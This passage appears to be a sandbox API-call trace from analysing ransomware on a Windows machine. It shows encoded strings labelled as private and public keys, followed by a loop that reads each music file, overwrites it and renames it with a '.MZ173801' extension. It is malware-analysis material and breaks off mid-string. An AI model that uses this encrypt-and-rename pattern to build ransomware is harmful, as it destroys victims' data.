lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24f61dc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.758] GetCurrentThreadId () returned 0xab4 [0158.758] GetCurrentThreadId () returned 0xab4 [0158.758] GetCurrentThreadId () returned 0xab4 [0158.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250723c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.759] GetCurrentThreadId () returned 0xab4 [0158.759] GetCurrentThreadId () returned 0xab4 [0158.759] GetCurrentThreadId () returned 0xab4 [0158.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\lPn_fXiKChTLMv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\lpn_fxikchtlmv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.759] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.759] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.759] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x2fb1 [0158.759] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.760] ReadFile (in: hFile=0x27c, lpBuffer=0x250f040, nNumberOfBytesToRead=0x2fb1, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x250f040*, lpNumberOfBytesRead=0x19f1b4*=0x2fb1, lpOverlapped=0x0) returned 1 [0158.760] CloseHandle (hObject=0x27c) returned 1 [0158.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\lPn_fXiKChTLMv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\lpn_fxikchtlmv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.761] WriteFile (in: hFile=0x27c, lpBuffer=0x2513070*, nNumberOfBytesToWrite=0x2fb1, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x2513070*, lpNumberOfBytesWritten=0x19f1c0*=0x2fb1, lpOverlapped=0x0) returned 1 [0158.762] CloseHandle (hObject=0x27c) returned 1 [0158.763] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\lPn_fXiKChTLMv.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\lpn_fxikchtlmv.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\lPn_fXiKChTLMv.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\lpn_fxikchtlmv.m4a.mz173801")) returned 1 [0158.764] GetCurrentThreadId () returned 0xab4 [0158.764] GetCurrentThreadId () returned 0xab4 [0158.764] GetCurrentThreadId () returned 0xab4 [0158.764] GetCurrentThreadId () returned 0xab4 [0158.764] GetCurrentThreadId () returned 0xab4 [0158.764] GetCurrentThreadId () returned 0xab4 [0158.764] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52c2fa0, ftCreationTime.dwHighDateTime=0x1d5e173, ftLastAccessTime.dwLowDateTime=0x892d8250, ftLastAccessTime.dwHighDateTime=0x1d5e4f1, ftLastWriteTime.dwLowDateTime=0x892d8250, ftLastWriteTime.dwHighDateTime=0x1d5e4f1, nFileSizeHigh=0x0, nFileSizeLow=0x212f, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="o7Ic1-IjCq FQjq1.mp3", cAlternateFileName="O7IC1-~1.MP3")) returned 1 [0158.764] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.764] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\o7Ic1-IjCq FQjq1.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\o7ic1-ijcq fqjq1.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52c2fa0, ftCreationTime.dwHighDateTime=0x1d5e173, ftLastAccessTime.dwLowDateTime=0x892d8250, ftLastAccessTime.dwHighDateTime=0x1d5e4f1, ftLastWriteTime.dwLowDateTime=0x892d8250, ftLastWriteTime.dwHighDateTime=0x1d5e4f1, nFileSizeHigh=0x0, nFileSizeLow=0x212f)) returned 1 [0158.764] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\o7Ic1-IjCq FQjq1.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\o7ic1-ijcq fqjq1.mp3")) returned 0x20 [0158.764] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\o7Ic1-IjCq FQjq1.mp3", dwFileAttributes=0x80) returned 1 [0158.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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